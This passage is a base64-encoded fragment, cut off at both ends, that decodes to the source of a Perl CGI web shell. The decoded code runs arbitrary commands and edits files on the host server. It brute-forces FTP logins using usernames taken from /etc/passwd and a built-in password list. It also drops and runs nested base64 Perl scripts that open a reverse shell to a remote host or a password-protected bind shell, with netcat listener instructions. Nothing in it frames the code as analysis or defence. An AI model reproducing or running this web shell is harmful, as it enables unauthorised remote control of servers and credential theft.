gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOwoJaWYoLXcgJEZpbGUpCgl7CgkJJHJvd3M9IjIzIgoJfWVsc2UKCXsKCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsnID4gUGVybWlzc2lvbiBkZW5pZWQhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsKCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmUnVuQ21kOwoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsKCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4KPC90ZD4KPC90cj4KPHRyPgo8dGQ+VXNlcjo8YnI+PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+CkVORApjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOwokcmVzdWx0IC49IDw8J0VORCc7CjwvdGV4dGFyZWE+PC90ZD4KPHRkPgoKUGFzczo8YnI+Cjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MKMTIzIUAjCjEyM2FkbWluCjEyM2FiYwoxMjM0NTZhZG1pbgoxMjM0NTU0MzIxCjEyMzQ0MzIxCnBhc3MxMjMKYWRtaW4KYWRtaW5jcAphZG1pbmlzdHJhdG9yCm1hdGtoYXUKcGFzc2FkbWluCnBAc3N3b3JkCnBAc3N3MHJkCnBhc3N3b3JkCjEyMzQ1NgoxMjM0NTY3CjEyMzQ1Njc4CjEyMzQ1Njc4OQoxMjM0NTY3ODkwCjExMTExMQowMDAwMDAKMjIyMjIyCjMzMzMzMwo0NDQ0NDQKNTU1NTU1CjY2NjY2Ngo3Nzc3NzcKODg4ODg4Cjk5OTk5OQoxMjMxMjMKMjM0MjM0CjM0NTM0NQo0NTY0NTYKNTY3NTY3CjY3ODY3OAo3ODk3ODkKMTIzMzIxCjQ1NjY1NAo2NTQzMjEKNzY1NDMyMQo4NzY1NDMyMQo5ODc2NTQzMjEKMDk4NzY1NDMyMQphZG1pbjEyMwphZG1pbjEyMzQ1NgphYmNkZWYKYWJjYWJjCiFAIyFAIwohQCMkJV4KIUAjJCVeJiooCiFAIyQkI0AhCmFiYzEyMwphbmh5ZXVlbQppbG92ZXlvdTwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoISgkdXNlcm5hbWUgZXEgIiIpKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNyIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+CgoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0iVEhJRVVHSUFCVU9OIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgTUlNRTo6QmFzZTY0OwoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1